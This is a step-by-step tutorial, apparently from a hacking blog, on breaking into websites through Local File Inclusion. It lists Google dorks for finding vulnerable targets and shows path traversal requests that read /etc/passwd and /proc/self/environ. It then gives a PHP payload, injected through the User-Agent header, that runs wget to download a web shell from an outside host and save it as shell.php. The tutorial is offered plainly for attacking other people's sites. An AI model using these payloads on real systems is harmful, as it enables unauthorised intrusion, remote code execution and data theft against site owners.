Web site Hacking by Local File Inclusion (LFI)

In previous article we have discussed various website hacking tutorials like..How to find a vulnerable Website?, Basic information of website hacking, XSS Tutorial , (CSRF/XSRF) and Remote File Inclusion Tutorial.

In this tutorial I show you how to get a shell on websites using Local File Inclusion (LFI) vulnerabilities and injection malicious code in proc/self/environ.Is a step by step tutorial.
How To Hack Website Using Local File Inclusion(LFI)

Follow the following steps to hack website using LFI and upload shell on hacked website.
Step 1: Search For LFI vulnerable Sites?
Now we are going to find a Local File Inclusion vulnerable website using some Dorks.Search that Dorks in google, to get LFI vulnerable Sites.

    inurl:redirect.php?page=
    inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=
    inurl:/include/new-visitor.inc.php?lvc_include_dir=
    inurl:/_functions.php?prefix=
    inurl:/cpcommerce/_functions.php?prefix=
For more Dorks Visit here
Here i am using following google dork:

    inurl:redirect.php?page=

Search that in google, and you should come up with a link like this:

    www.website.com/view.php?page=contact.php

Step 2: Test Local File Inclusion vulnerability
Now lets replace contact.php with ../ so the URL will become

    www.website.com/view.php?page=../

and we got an error

    Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

Big chances to have a Local File Inclusion vulnerability.Let’s go to next step.

Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
 www.website.com/view.php?page=../../../etc/passwd

We got error and no etc/passwd file

    Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

so we go more directories up

    www.website.com/view.php?page=../../../../../etc/passwd

we successfully included the etc/passwd file.

    root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
Note :well if Local File Inclusion vulnerable site url is,

    www.site.com/test.php?main=lol.php

that means,

    PHP Code:
    include $main; 

so you cant go with it with any nullbyte

    ../../etc/passwd 

and if Local File Inclusion vulnerable site url like

    www.site.com/test.php?main=lol

well that means the include has .php with it as in

    PHP Code:
    include $main.'.php';

well actually we know that mean the .php comes to the end of it so we have to use the nullbyte for this one.

    ../etc/passwd

Step 3: Checking if proc/self/environ is accessible
Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

    www.website.com/view.php?page=../../../../../proc/self/environ

If you get something like

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
Step 4: Injecting malicious code
Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :

    www.website.com/view.php?page=../../../../../proc/self/environ

Choose Tamper and in User-Agent filed write the following code :

    <?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>

Then submit the request.
Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
Step 5: Access our shell
Now lets check if our malicious code was successfully injected.Lets check if the shell is present.

    www.website.com/shell.php

Our shell is there.Injection was successfully.
So friends, I hope you will like this
Local File Inclusion Tutorial....
I have personally tested this Website Hacking Tutorial and found all are working. If you have any problem in above Website hacking Using Remote File Inclusion Tutorial, please mention it in comments section.